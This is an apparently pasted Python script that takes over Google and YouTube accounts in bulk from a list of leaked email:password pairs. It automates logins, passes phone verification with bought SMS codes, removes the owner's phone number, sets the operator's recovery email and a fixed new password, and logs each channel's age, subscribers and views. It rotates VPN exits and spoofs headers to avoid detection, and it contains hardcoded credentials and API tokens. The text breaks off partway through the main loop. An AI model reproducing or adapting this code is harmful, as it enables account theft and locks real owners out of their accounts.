· 11 years ago · Jul 14, 2015, 01:45 AM
1
2import pyautogui, pyperclip, names, requests
3import telnetlib
4from selenium import webdriver
5from selenium.webdriver.support.ui import WebDriverWait
6
7from random import randint
8from pushover import init, Client
9
10import time, random, string, os, subprocess
11from bs4 import BeautifulSoup
12
13currentdir = os.path.dirname(os.path.realpath(__file__))
14
15with open(os.path.join(currentdir, "info" , "server.txt")) as f:
16 server = f.readlines()
17
18ip = server[0].rstrip("\n")
19ACCOUNT_SID = server[1].rstrip("\n")
20AUTH_TOKEN = server[2].rstrip("\n")
21defaultEmail = "adsnse0@gmail.com"
22defaulPassword = "oguzhan1"
23
24init("aYDXEfotLvLtwy6hmf14kTPJWwr3nG")
25
26#########################################################
27################## CLICK FUNCTIONS ######################
28#########################################################
29
30def sc(x, y):
31 try:
32 pyautogui.moveTo(x, y, 0.2)
33 pyautogui.click()
34 except:
35 pass
36
37def dc(x, y):
38 try:
39 pyautogui.moveTo(x, y, 0.2)
40 pyautogui.doubleClick()
41 except:
42 pass
43
44def paste():
45 try:
46 return pyperclip.paste()
47 except:
48 pass
49def push(title, message):
50 Client("uD24S65yVEbMXKPmVx1HX8Pjccm8jy").send_message(message, title=title)
51
52#########################################################
53#################### WEB FUNCTIONS ######################
54#########################################################
55
56def goTo(website):
57 pyautogui.hotkey('alt', 'd')
58 pyautogui.typewrite(website, interval=0.01)
59 pyautogui.press('enter')
60
61def goToGmail():
62 goTo("mail.google.com/mail/u/0/h/")
63 time.sleep(4)
64
65def goToEditSecond():
66 pyautogui.press('enter')
67 time.sleep(3.5)
68 goTo("accounts.google.com/b/0/EditUserInfo?hl=en")
69 time.sleep(5)
70 pyautogui.press('enter')
71
72def deletePhone():
73 time.sleep(3.5)
74 goTo("https://myaccount.google.com/phone?utm_source=OGB&pli=1&hl=en")
75 time.sleep(7)
76 text = getBody()
77 if not 'is used to reach' in text:
78 sc(1265, 388)
79 time.sleep(3)
80 sc(974, 763)
81 time.sleep(3)
82 sc(974, 715)
83 time.sleep(3)
84
85def goToChaneMyPass():
86 goTo("accounts.google.com/b/0/EditPasswd?continue=https://myaccount.google.com/&hl=en")
87 time.sleep(3)
88
89def goToMyAccount():
90 goTo('myaccount.google.com/?hl=en')
91 pyautogui.press('enter')
92 time.sleep(3)
93
94def getUrl():
95 pyautogui.hotkey('ctrl', 'l')
96 pyautogui.hotkey('ctrl', 'c')
97 text = paste()
98 try:
99 text = str(text)
100 except:
101 getUrl()
102 return text
103
104def getBody():
105 sc(69, 801)
106 pyautogui.hotkey('ctrl', 'a')
107 pyautogui.hotkey('ctrl', 'c')
108 text = paste()
109 try:
110 text = str(text)
111 except:
112 getBody()
113 return text
114
115def getBodyYt():
116 sc(113, 957)
117 time.sleep(1)
118 pyautogui.hotkey('ctrl', 'a')
119 pyautogui.hotkey('ctrl', 'c')
120 text = paste()
121 try:
122 text = str(text)
123 except:
124 getBody()
125 return text
126
127
128
129#########################################################
130################### GOOGLE FUNCTIONS ####################
131#########################################################
132
133def goGoogle():
134 pyautogui.hotkey('ctrl', 'l')
135 pyautogui.typewrite('accounts.google.com/ServiceLogin?&hl=en')
136 pyautogui.press('enter')
137 time.sleep(3)
138
139def loginGoogle(email, password):
140 goGoogle()
141 pyautogui.hotkey('ctrl', 'a')
142 pyautogui.press('delete')
143 pyautogui.typewrite(email)
144 pyautogui.press('enter')
145 time.sleep(2.5)
146 pyautogui.typewrite(password)
147 pyautogui.press('enter')
148
149def setNewPass():
150 os.startfile(os.path.join(currentdir, "helpers" , "savenewpass.exe"))
151 time.sleep(7)
152
153
154def manuel(expassword, password):
155 goToEditSecond()
156 time.sleep(2)
157 pyautogui.moveTo(1616, 406, 1)
158
159 button7location = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "redarrow.png"))
160 if(button7location != None):
161 buttonx, buttony = pyautogui.center(button7location)
162 pyautogui.click(buttonx, buttony)
163
164 text = getBody()
165 goToEditSecondEmail(text)
166
167 text = text.replace("\n", " ")
168 texts = text.split(" ")
169
170 gmail = ""
171 for t in texts:
172 if("@gmail" in t):
173 gmail = t.replace("\n", "").replace("\t", "")
174 break
175
176
177 deletePhone()
178 time.sleep(3)
179 goTo("https://security.google.com/settings/security/signinoptions/rescueemail?hl=en")
180 time.sleep(4)
181 link = getUrl()
182
183 if("ServiceLogin" in link):
184 sc(865, 446)
185 pyautogui.typewrite(expassword)
186 time.sleep(2)
187 sc(979,502)
188 time.sleep(4)
189
190 sc(906, 313)
191 pyautogui.hotkey('ctrl', 'a')
192 pyautogui.typewrite(defaultEmail)
193
194 sc(1247, 356)
195 sc(1247, 356)
196
197 time.sleep(2)
198 goToChaneMyPass()
199
200 sc(860, 447)
201 sc(860, 447)
202 pyautogui.typewrite(expassword)
203 pyautogui.press('enter')
204 time.sleep(5)
205 pyautogui.typewrite(password)
206 pyautogui.press('tab')
207 pyautogui.press('tab')
208 pyautogui.press('tab')
209 time.sleep(1)
210 pyautogui.typewrite(password)
211 pyautogui.press('tab')
212 pyautogui.press('tab')
213 time.sleep(1)
214 pyautogui.press('enter')
215
216 return str(gmail) + ":" + password
217
218def goToEditSecondEmail(text):
219 pyautogui.press('enter')
220 if "First name" in text:
221 dc(627, 247)
222 pyautogui.hotkey('ctrl', 'a')
223 pyautogui.typewrite(randName)
224 pyautogui.press('tab')
225 pyautogui.typewrite(randSname)
226 os.startfile(os.path.join(currentdir, "helpers" , "secondname.exe"))
227 time.sleep(10)
228 else:
229 os.startfile(os.path.join(currentdir, "helpers" , "secondnoname.exe"))
230 time.sleep(5)
231
232def whereIsGmail(fakeName):
233
234 pyautogui.moveTo(550,560)
235 button7location = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "redarrow.png"))
236 if(button7location != None):
237 buttonx, buttony = pyautogui.center(button7location)
238 pyautogui.click(buttonx, buttony)
239 else:
240 pyautogui.moveTo(1899,83, 2)
241 sc(1899,83)
242
243 dc(1132, 255)
244 pyautogui.typewrite(fakeName, interval=0.10)
245 time.sleep(1)
246 sc(1112, 326)
247 time.sleep(2)
248 dc(1135, 285)
249 pyautogui.hotkey('ctrl', 'c')
250 text = paste()
251 try:
252 text = str(text)
253 except:
254 text = ""
255
256 if("Someone" in text or "Please" in text):
257 return 2
258 elif ("Your" in text):
259 return 3
260 return 1
261
262
263def registerGmail(fakeName, fakeSurname, flag):
264
265 if(flag == 1):
266 pyautogui.doubleClick(1133, 255)
267 pyautogui.typewrite(fakeName, interval=0.10)
268 time.sleep(0.3)
269 pyautogui.press('tab')
270 pyautogui.typewrite(fakeSurname, interval=0.10)
271 time.sleep(0.3)
272 email = fakeName + fakeSurname + str(randint(3000,9999))
273 email = email.lower()
274 pyautogui.press('tab')
275 pyautogui.typewrite("johnmiller", interval=0.10)
276 time.sleep(0.3)
277 pyautogui.press('tab')
278 pyautogui.press('tab')
279 pyautogui.press('delete')
280 pyautogui.press('tab')
281 time.sleep(0.3)
282 pyautogui.press('delete')
283 pyautogui.typewrite(defaultEmail, interval=0.10)
284 pyautogui.press('enter')
285 time.sleep(2)
286 pyautogui.click(1211,378)
287 time.sleep(1)
288 pyautogui.moveTo(1154,326)
289 pyautogui.doubleClick()
290 time.sleep(2)
291 pyautogui.hotkey('ctrl', 'c')
292 gmail = paste()
293 jc = 0
294
295 while "johnmiller" == gmail and jc < 3:
296 pyautogui.click(1211,380)
297 pyautogui.moveTo(1154,326)
298 pyautogui.doubleClick()
299 pyautogui.hotkey('ctrl', 'c')
300 gmail = paste()
301 jc += 1
302
303 pyautogui.press('enter')
304 return str(gmail) + "@gmail.com"
305
306 elif(flag == 0):
307 dc(1161,255)
308 pyautogui.click()
309 time.sleep(1)
310 pyautogui.typewrite("johnmiller", interval=0.45)
311 time.sleep(2)
312 sc(1231,382)
313 time.sleep(1)
314 sc(1236,308)
315 time.sleep(1)
316 pyautogui.moveTo(1161,251)
317 pyautogui.doubleClick()
318 pyautogui.hotkey('ctrl', 'c')
319 gmail = paste()
320 time.sleep(1)
321 pyautogui.press('tab')
322 time.sleep(1)
323 pyautogui.press('tab')
324 time.sleep(1)
325 pyautogui.press('delete')
326 pyautogui.press('tab')
327 time.sleep(1)
328 pyautogui.press('delete')
329 pyautogui.typewrite(defaultEmail, interval=0.30)
330 time.sleep(1)
331 pyautogui.press('enter')
332 return str(gmail) + "@gmail.com"
333 else:
334 dc(1148, 255)
335 pyautogui.hotkey('ctrl', 'c')
336 gmail = paste()
337 sc(1193, 349)
338 pyautogui.hotkey('ctrl', 'a')
339 pyautogui.press('delete')
340 pyautogui.press('tab')
341 time.sleep(1)
342 pyautogui.press('delete')
343 pyautogui.typewrite(defaultEmail, interval=0.30)
344 time.sleep(1)
345 pyautogui.press('enter')
346 return str(gmail) + "@gmail.com"
347
348def changeAccountInfo(expassword, password, text):
349 goToEditSecondEmail(text)
350
351 t0 = time.clock()
352 url = getUrl()
353
354 while("EditUserInfo" in url):
355 if(time.clock() - t0 > 20):
356 return
357 text = getBody()
358 goToEditSecondEmail(text)
359 url = getUrl()
360
361 time.sleep(3)
362
363 deletePhone()
364 goToChaneMyPass()
365
366 time.sleep(4)
367 pyautogui.typewrite(expassword)
368 pyautogui.press('enter')
369 time.sleep(5)
370 pyautogui.typewrite(password)
371 pyautogui.press('tab')
372 pyautogui.press('tab')
373 pyautogui.press('tab')
374 time.sleep(1)
375 pyautogui.typewrite(password)
376 pyautogui.press('tab')
377 pyautogui.press('tab')
378 time.sleep(1)
379 pyautogui.press('enter')
380 return password
381
382#########################################################
383################### PHONE FUNCTIONS #####################
384#########################################################
385
386def enterPhone(phone):
387 pyautogui.typewrite(phone, interval=0.10)
388 pyautogui.press('enter')
389
390def openPhone(phone):
391 try:
392
393 # dynamically build the URL that we'll be making a request to
394 url = "http://api4.verificationcode.net/order?token=1c1bab2f7fb4aedf94cdbfb4244e194900dfab291cb5d26503131992d9a1b1e7"
395
396 # spoof some headers so the request appears to be coming from a browser, not a bot
397 headers = {
398 "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5)",
399 "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
400 "accept-charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.3",
401 "accept-encoding": "gzip,deflate,sdch",
402 "accept-language": "en-US,en;q=0.8",
403 }
404
405 # make the request to the search url, passing in the the spoofed headers.
406 r = requests.get(url, headers=headers) # assign the response to a variable r
407
408 # check the status code of the response to make sure the request went well
409 if r.status_code != 200:
410 print("request denied")
411 return
412 else:
413 pass
414
415 # convert the plaintext HTML markup into a DOM-like structure that we can search
416 soup = BeautifulSoup(r.text)
417
418 # each result is an <li> element with class="g" this is our wrapper
419 results = soup.findAll("td")
420
421 for i in range(len(results)):
422 if phone in results[i]:
423 c = str(results[i+3]).lstrip("<td>").rstrip("</td>")
424 code = c.split(" ")[5]
425 return code
426 return ""
427 except:
428 return ""
429def enterCode(code):
430
431 sc(742,382)
432 pyautogui.typewrite(code, interval=0.10)
433 pyautogui.press('enter')
434#########################################################
435################## YOUTUBE FUNCTIONS ####################
436#########################################################
437
438
439def setYoutubeDriver():
440 #changeProxy()
441 global driver
442 driver = webdriver.Firefox()
443 driver.maximize_window()
444 return driver
445
446
447def loginYoutube(email, password):
448 driver.get("https://accounts.google.com/ServiceLogin?passive=true&continue=https://www.youtube.com/my_videos?o=U")
449 time.sleep(3)
450 put(".//*[@id='Email']", email)
451 fbxpath(".//*[@id='next']").click()
452 put(".//*[@id='Passwd']", password)
453 fbxpath(".//*[@id='signIn']").click()
454 time.sleep(8)
455
456def isPicassa():
457 cbutton = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "continue.png"))
458 okbutton = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "ok.png"))
459
460 if(cbutton != None and okbutton == None):
461 return 0
462 elif(cbutton == None and okbutton != None):
463 return 1
464 else:
465 return 2
466
467def regYoutube():
468 time.sleep(12)
469
470 sc(1200, 645)
471 text = None
472 while text == None:
473 pyautogui.hotkey('ctrl', 'a')
474 pyautogui.hotkey('ctrl', 'c')
475 text = paste()
476
477 if "Picasa" in text:
478 os.startfile(os.path.join(currentdir, "helpers" , "picasa.exe"))
479 time.sleep(15)
480 return
481
482 flag = isPicassa()
483 if (flag == 1):
484 time.sleep(2)
485 sc(1175, 690)
486 return
487
488 elif(flag == 0):
489 os.startfile(os.path.join(currentdir, "helpers" , "flag0.exe"))
490 time.sleep(15)
491 return
492
493 if(flag == 2):
494 sc(651, 704)
495 sc(666, 556)
496 sc(666, 556)
497 time.sleep(1)
498 pyautogui.moveTo(958, 792, 2)
499 pyautogui.click(958, 792)
500
501
502def addToYoutube(info):
503 try:
504 sorunlu = open(os.path.join(currentdir, "info" , "server.txt"), "a")
505 sorunlu.write(info + "\n")
506 sorunlu.close()
507 except:
508 print("Dosya acilamadi")
509
510def addToTekrar(info):
511 try:
512 sorunlu = open(os.path.join(currentdir, "source" , "tekrar.txt"), "a")
513 sorunlu.write(info + "\n")
514 sorunlu.close()
515 except:
516 print("Dosya acilamadi")
517
518def fbxpath(xpath):
519 try:
520 return WebDriverWait(driver, 10).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
521 except:
522 return False
523
524def put(xpath, toSend):
525 try:
526 to = WebDriverWait(driver, 10).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
527 time.sleep(1)
528 to.send_keys(toSend)
529 except:
530 return False
531
532def isShowed(xpath):
533 try:
534 WebDriverWait(driver, 7).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
535 return True
536 except:
537 return False
538
539def createYoutube(email, password):
540 driver.get("https://www.youtube.com/my_videos?o=U")
541 time.sleep(8)
542 text = getBody()
543 if("Help us keep your account secure" in text
544 or "Cookies help" in text):
545 driver.get("https://www.youtube.com/my_videos?o=U")
546 time.sleep(5)
547 text = getBody()
548
549 if "oops" in driver.current_url:
550 time.sleep(2)
551 driver.get("https://www.youtube.com/my_videos?o=U")
552
553 if "Use YouTube as..." in text:
554 sc(866 ,526)
555 driver.get("https://www.youtube.com/my_videos?o=U")
556 time.sleep(10)
557 text = getBody()
558
559 if "Create a channel" in text:
560 flag = 0
561 fbxpath(".//*[@id='creator-page-content']/div[1]/a").click()
562 regYoutube()
563
564 elif "YouTube channel has content but has been disabled" in text:
565 fbxpath(".//*[@id='vm-general-notifs']/div/div[2]/div/a[1]")
566 time.sleep(3)
567 regYoutube()
568 else:
569 flag = 1
570
571 driver.get("https://www.youtube.com/analytics?o=U")
572 t0 = time.clock()
573
574 while "my_videos" in driver.current_url:
575 if time.clock() - t0 > 25:
576 addToYoutube(email +":" + password)
577 return False
578 time.sleep(2)
579 sc(1875, 91)
580 time.sleep(1)
581 sc(1853, 280)
582 time.sleep(3)
583 driver.get("https://accounts.google.com/ServiceLogin?passive=true&continue=https://www.youtube.com/my_videos?o=U")
584 time.sleep(5)
585 pyautogui.typewrite(password)
586 sc(990, 580)
587 time.sleep(2)
588 url = driver.current_url
589 while("ServiceLogin" in url):
590 pyautogui.typewrite(password)
591 sc(990, 580)
592 time.sleep(2)
593 url = driver.current_url
594 driver.get("https://www.youtube.com/my_videos?o=U")
595 try:
596 fbxpath(".//*[@id='creator-page-content']/div[1]/a").click()
597 except:
598 driver.get("https://www.youtube.com/dashboard?o=U")
599 break
600 time.sleep(4)
601 sc(1170, 690)
602 driver.get("https://www.youtube.com/analytics?o=U")
603
604 time.sleep(10)
605 try:
606 date = fbxpath(".//*[@id='gwt-debug-metadataList']/span[1]").text.lstrip("Created: ").replace(",", "")
607 except:
608 date = "kontroledilecek"
609 driver.get("https://www.youtube.com/dashboard?o=U")
610 subscriber = fbxpath(".//*[@id='dashboard-header-stats']/li[2]/div[1]").text
611 views = fbxpath(".//*[@id='dashboard-header-stats']/li[1]/div[1]").text
612 '''
613 if len(views) > 7:
614 push("Yuksek izlenme!", "Kontrol etmelisin.. Ip: " + ip)
615 '''
616 fbxpath(".//*[@id='dashboard-header-user-name-and-label']/h2/a").click()
617 time.sleep(2)
618 channelUrl = driver.current_url
619
620 if("2005" in date):
621 dateFile = 2005
622 elif("2006" in date):
623 dateFile = 2006
624 elif("2007" in date):
625 dateFile = 2007
626 elif("2008" in date):
627 dateFile = 2008
628 elif("2009" in date):
629 dateFile = 2009
630 elif("2010" in date):
631 dateFile = 2010
632 elif("2011" in date):
633 dateFile = 2011
634 elif("2012" in date):
635 dateFile = 2012
636 elif("2013" in date):
637 dateFile = 2013
638 elif("2014" in date):
639 dateFile = 2014
640 elif("2015" in date):
641 dateFile = 2015
642 else:
643 dateFile = "kontroledilecek"
644 print(str(date))
645 saveYoutube(email, password, channelUrl, dateFile, date, subscriber, views)
646
647
648def saveYoutube(email, password, url, dateFile, date, subscriber, views):
649 try:
650 info = str(email) + "::" + str(password).rstrip("\n") + "::" + str(url) + "::" + str(date) + "::" + str(subscriber) + "::" + str(views)
651 hesaplar = open(os.path.join(currentdir, "save" , str(dateFile) + ".txt"), "a")
652 hesaplar.write(info + "\n")
653 hesaplar.close()
654 except:
655 print("Dosya acilamadi.")
656
657#########################################################
658#################### SAVE FUNCTIONS #####################
659#########################################################
660
661def addToGmail(info):
662 try:
663 hesaplar = open(os.path.join(currentdir, "save" , "gmail.txt"), "a")
664 hesaplar.write(info + "\n")
665 hesaplar.close()
666 except:
667 print("Dosya acilamadi.")
668
669def addToCop(info):
670 try:
671 cop = open(os.path.join(currentdir, "source" , "cop.txt"), "a")
672 cop.write(info[0] + ":" + info[1])
673 cop.close()
674 except:
675 print("Dosya acilamadi.")
676
677def addToOzel(info):
678 try:
679 ozel = open(os.path.join(currentdir, "source" , "ozel.txt"), "a")
680 ozel.write(info[0] + ":" + info[1])
681 ozel.close()
682 except:
683 print("Dosya acilamadi.")
684
685def addToTekrar(info):
686 try:
687 ozel = open(os.path.join(currentdir, "source" , "tekrar.txt"), "a")
688 ozel.write(info[0] + ":" + info[1])
689 ozel.close()
690 except:
691 print("Dosya acilamadi.")
692def addToTekrarYT(info):
693 try:
694 ozel = open(os.path.join(currentdir, "save" , "tekraryt.txt"), "a")
695 ozel.write(info)
696 ozel.close()
697 except:
698 print("Dosya acilamadi.")
699
700def addToCaptcha(info):
701 try:
702 ozel = open(os.path.join(currentdir, "source" , "captcha.txt"), "a")
703 ozel.write(info[0] + ":" + info[1])
704 ozel.close()
705 except:
706 print("Dosya acilamadi.")
707
708def addToYoutube(info):
709 try:
710 sorunlu = open(os.path.join(currentdir, "save" , "tekrardenenecekyoutube.txt"), "a")
711 sorunlu.write(info + "\n")
712 sorunlu.close()
713 except:
714 print( "Dosya acilamadi")
715
716def updateList(i):
717 try:
718
719 with open(os.path.join(currentdir, "source" , "ayiklanacak.txt"), 'w') as fout:
720 fout.writelines(content[i+1:])
721 except:
722 print("Dosya acilamadi.")
723
724
725#########################################################
726################## DRIVER FUNCTIONS #####################
727#########################################################
728
729def createDriver():
730 pyperclip.copy('')
731 global loginC
732 loginC = 0
733 os.system("taskkill /f /t /im firefox.exe")
734 changeProxy()
735 os.startfile("C:\\\Program Files (x86)\\\Mozilla Firefox\\firefox.exe")
736 time.sleep(7)
737
738def changeProxy():
739
740 os.startfile(os.path.join(currentdir, "helpers" , "processkill.exe"))
741 # Path to OpenVPN program
742 vypr_bin = "C:\\Program Files\\OpenVPN\\bin\\openvpn.exe"
743 # Path to username/password
744 vypr_auth = "C:\\Users\\Administrator\\Desktop\\youtube\\vypr_auth.txt"
745 # Path to config file. What's server do you want connect to?
746
747 vpn_mgt_host = "127.0.0.1"
748 vpn_mgt_port = "7777"
749 cities = ["Ireland",
750 "Portugal",
751 "Belgium",
752 "Netherlands",
753 "Luxembourg",
754 "Denmark",
755 "Sweden",
756 "Iceland",
757 "Russia",
758 "Romania",
759 "Norway",
760 "United Kingdom",
761 "Lithuania",
762 "Italy",
763 "Spain",
764 "Finland",
765 "Czech Republic",
766 "Austria",
767 "Germany",
768 "France",
769 "Switzerland",
770 "Poland"]
771 c = random.randint(0, 21)
772 vypr_conf = "C:\\Users\\Administrator\\Desktop\\youtube\\config\\" + cities[c] + ".ovpn"
773 vpn_params = [vypr_bin, "--management", vpn_mgt_host, vpn_mgt_port,
774 "--management-hold", "--config", vypr_conf,
775 "--auth-user-pass", vypr_auth, "--log", "C:\\Users\\Administrator\\Desktop\\youtube\\info\\openvpn.log"]
776
777 # Delete all tap devices
778 subprocess.call("deltapall.bat", shell=True)
779
780 # Add tap devices
781 subprocess.call("addtap.bat", shell=True)
782
783 # Run OpenVPN daemon but management hold
784 prog = subprocess.Popen(vpn_params, shell=True,
785 stdin=None, stdout=None, stderr=None, close_fds=True)
786
787 # vpn_pid = prog.pid
788
789 # Connect to OpenVPN management daemon
790 tn = telnetlib.Telnet(vpn_mgt_host, vpn_mgt_port)
791 # Turn on log
792 tn.write(("log on\r\n").encode('ascii'))
793 time.sleep(1)
794 # Hold release
795 tn.write(("hold release\r\n").encode('ascii'))
796 time.sleep(2)
797 # Waiting to OpenVPN connected
798 time.sleep(15)
799 print ("Connected to " + cities[c])
800
801def endSession():
802 pyautogui.hotkey('alt', 'f4')
803 os.startfile(os.path.join(currentdir, "helpers" , "processkill.exe"))
804 time.sleep(5)
805 updateList(i)
806 createDriver()
807
808def checkSuccess(failC, sucC, loginC):
809 if loginC > 30:
810 endSession()
811 if i % 50 != 0:
812 return
813 try:
814 failRate = failC / sucC
815 except:
816 failRate = failC
817
818 if failRate > 49:
819 updateList(i)
820
821with open(os.path.join(currentdir, "source" , "ayiklanacak.txt"), 'r') as f:
822 content = f.read().splitlines(True)
823with open(os.path.join(currentdir, "info" , "telefonlar.txt"), 'r') as f:
824 phones = f.read().splitlines(True)
825######################################################
826
827failC = 0
828sucC = 0
829
830k = 0
831p = 0
832
833createDriver()
834
835for i in range(len(content)):
836 checkSuccess(failC, sucC, loginC)
837 try:
838 info = content[i].split(":")
839 email = info[0]
840 password = info[1].rstrip("\n")
841 if(len(password) < 6 or "@" not in email):
842 continue
843 print("Kullanci Adi: " + email + "\n" + "Sifre: " + password)
844 print("Succes: " + str(sucC) + " Fail: " + str(failC))
845 '''
846 chars = string.ascii_letters + string.digits
847 newPass = ''.join(random.SystemRandom().choice(chars) for i in range(10))
848 '''
849 newPass = "oguzhan1"
850 randName = names.get_first_name(gender='male')
851 randSname = names.get_last_name()
852 except:
853 addToOzel(content[i].split(":"))
854 time.sleep(2)
855 continue
856 try:
857 phone = phones[p].rstrip("\n")
858 except:
859 p = 0
860 phone = phones[p].rstrip("\n")
861
862 try:
863 loginGoogle(email, password)
864 loginC += 1
865 except:
866 addToCop(info)
867 continue
868
869 if "gmail" in email:
870 time.sleep(6)
871 else:
872 time.sleep(3)
873 text = getBody()
874
875 if("One account. All of Google." in text
876 or "Sorry, Google doesn't recognize" in text
877 or "Your Google Account is managed by" in text
878 or "Sorry, we can't process" in text
879 or "Google" not in text
880 or "We've detected unusual activity" in text
881 or "2-Step verification" in text
882 ):
883
884 if("Letters are" in text or "Firefox" in text):
885 addToCaptcha(info)
886 endSession()
887 k = 0
888 continue
889 elif "privacy reminder" in text:
890 os.startfile(os.path.join(currentdir, "helpers" , "privacy.exe"))
891 time.sleep(5)
892 else:
893 addToCop(info)
894 failC += 1
895 k = 0
896 continue
897 elif ("Letters are" in text):
898 addToCaptcha(info)
899 k = 0
900 endSession()
901 continue
902 elif "Please re-enter" in text:
903 addToOzel(content[i-1].split(":"))
904 endSession()
905 elif "Firefox" in text:
906 addToCaptcha(info)
907 k = 0
908 endSession()
909 elif "Google" not in text:
910 addToCop(info)
911 failC += 1
912 k = 0
913 continue
914 else:
915 time.sleep(3)
916 url = getUrl()
917
918 url = getUrl()
919 if "privacyreminder" in url:
920 os.startfile(os.path.join(currentdir, "helpers" , "privacy.exe"))
921 time.sleep(7)
922 url = getUrl()
923
924 if "VerifiedPhoneInterstitial" in url:
925 time.sleep(2)
926 sc(1113,800)
927 time.sleep(5)
928 url = getUrl()
929
930 elif not "google" in url:
931 addToCop(info)
932 failC += 1
933 continue
934
935 elif "LoginVerification" in url:
936 text = getBody()
937 if("Tell us the city" in text
938 or "Answer your secret question" in text
939 or "Enter your recovery" in text
940 or "Android" in text
941 or "Receive a verification" in text
942 or "Tell us your phone number" in text):
943 if("Enter a phone" not in text
944 or "Sorry, we can't process" in text):
945 addToCop(info)
946 failC += 1
947 continue
948 if "Tell us the city" in text:
949 sc(747, 452)
950 else:
951 sc(745,427)
952 enterPhone(phone)
953 time.sleep(4)
954 text = getBody()
955 sc(758, 618)
956
957 while "already" in text :
958 p += 1
959 if(p == len(phones)):
960 p = 0
961 phone = phones[p].rstrip("\n")
962 sc(742,382)
963 pyautogui.hotkey('ctrl', 'a')
964 pyautogui.press('delete')
965 code = openPhone(phone)
966 enterCode(code)
967 time.sleep(5)
968 text = getBody()
969 sc(758, 618)
970 if "until in text":
971 continue
972
973 cC = 0
974 while cC < 3:
975 sc(742,382)
976 pyautogui.hotkey('ctrl', 'a')
977 pyautogui.press('delete')
978 code = openPhone(phone)
979 enterCode(code)
980 time.sleep(5)
981 url = getUrl()
982 if not "LoginVerification" in url:
983 break
984 else:
985 time.sleep(6)
986 cC += 1
987
988
989 elif("ChangePassword" in url):
990 setNewPass()
991 newPass = defaulPassword + "\n"
992 password = defaulPassword + "\n"
993 goToGmail()
994
995 elif("google" not in url or "ServiceLoginAuth" in url):
996 addToCop(info)
997 failC += 1
998 continue
999
1000 elif("RecycledEmailInterstitial" in url
1001 or "AccountRecoveryOptionsPrompt" in url
1002 or "myaccount" in url):
1003 time.sleep(3)
1004 goToGmail()
1005
1006 elif("EmailNotVerified" in url):
1007 time.sleep(3)
1008 goToGmail()
1009 time.sleep(4)
1010 url = getUrl()
1011 if("ServiceLogin" in url):
1012 sc(882,448)
1013 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1014 pyautogui.press('enter')
1015 time.sleep(4)
1016 url = getUrl()
1017 time.sleep(3)
1018
1019 else:
1020 print("-----RAPOR EDILMELI!!!!")
1021 addToOzel(info)
1022 endSession()
1023 continue
1024
1025 time.sleep(9)
1026 url = getUrl()
1027 time.sleep(1)
1028 try:
1029 sc(1899,83)
1030 except:
1031 pass
1032 if "privacyreminder" in url:
1033 sc(1231, 984)
1034 time.sleep(2)
1035 sc(1231, 984)
1036 time.sleep(5)
1037 goToGmail()
1038 time.sleep(5)
1039 url = getUrl()
1040 if("EmailNotVerified" in url):
1041 time.sleep(3)
1042 goToGmail()
1043 time.sleep(5)
1044 url = getUrl()
1045 if("ServiceLogin" in url):
1046 sc(882,448)
1047 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1048 pyautogui.press('enter')
1049 time.sleep(3)
1050 url = getUrl()
1051 time.sleep(6)
1052
1053 if("myaccount" in url):
1054 goToGmail()
1055 time.sleep(5)
1056 url = getUrl()
1057
1058 if("ServiceLogin" in url):
1059 sc(882,448)
1060 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1061 pyautogui.press('enter')
1062 time.sleep(3)
1063 url = getUrl()
1064
1065 if("AccountRecoveryOptionsPrompt" in url):
1066 addToTekrar(info)
1067 continue
1068
1069 if("mail/" in url):
1070 gmail = manuel(password, newPass)
1071 g = gmail.split(":")
1072 gmail = g[0]
1073 newPass = g[1]
1074
1075 elif("ChangePassword" in url):
1076
1077 setNewPass()
1078 newPass = defaulPassword + "\n"
1079 password = defaulPassword + "\n"
1080 time.sleep(8)
1081 goToGmail()
1082 time.sleep(5)
1083 url = getUrl()
1084 if("mail/" not in url):
1085 flag = whereIsGmail(randName)
1086 if(flag==1):
1087 gmail = registerGmail(randName, randSname, 1)
1088 goToEditSecond()
1089 text = getBody()
1090
1091 try:
1092 if(not "@gmail.com" in text):
1093 addToOzel(info)
1094 failC += 1
1095 endSession()
1096 continue
1097 except:
1098 pass
1099
1100 newPass = changeAccountInfo(password, newPass, text)
1101
1102 elif(flag==2):
1103 gmail = registerGmail(randName, randSname, 0)
1104 goToEditSecond()
1105 text = getBody()
1106
1107 try:
1108 if(not "@gmail.com" in text):
1109 addToOzel(info)
1110 failC += 1
1111 endSession()
1112 continue
1113 except:
1114 pass
1115
1116 newPass = changeAccountInfo(password, newPass, text)
1117
1118 elif(flag == 3):
1119 addToCop(info)
1120 failC += 1
1121 endSession()
1122 continue
1123 else:
1124 gmail = manuel(newPass, newPass)
1125 g = gmail.split(":")
1126 gmail = g[0]
1127 newPass = g[1]
1128
1129 elif("inbox" in url):
1130 gmail = manuel(password, newPass)
1131 g = gmail.split(":")
1132 gmail = g[0]
1133 newPass = g[1]
1134
1135 elif("AddMailService" in url):
1136 pyautogui.moveTo(1899,83)
1137 time.sleep(1)
1138 sc(1899,83)
1139 time.sleep(1)
1140 flag = whereIsGmail(randName)
1141 if(flag==1):
1142 gmail = registerGmail(randName, randSname, 1)
1143 goToEditSecond()
1144 text = getBody()
1145
1146 try:
1147 if(not "@gmail.com" in text):
1148 addToOzel(info)
1149 failC += 1
1150 endSession()
1151 continue
1152 except:
1153 pass
1154
1155 newPass = changeAccountInfo(password, newPass, text)
1156
1157 elif(flag==2):
1158 gmail = registerGmail(randName, randSname, 0)
1159
1160 goToEditSecond()
1161 text = getBody()
1162
1163 try:
1164 if(not "@gmail.com" in text):
1165 addToOzel(info)
1166 failC += 1
1167 endSession()
1168 continue
1169 except:
1170 pass
1171
1172 newPass = changeAccountInfo(password, newPass, text)
1173 elif(flag == 4):
1174 addToCop(info)
1175 failC += 1
1176 endSession()
1177 continue
1178 else:
1179 addToTekrar(info)
1180 endSession()
1181 continue
1182
1183 else:
1184 url = getUrl()
1185 if("mail/" in url
1186 or "inbox" in url):
1187 gmail = manuel(password, newPass)
1188 g = gmail.split(":")
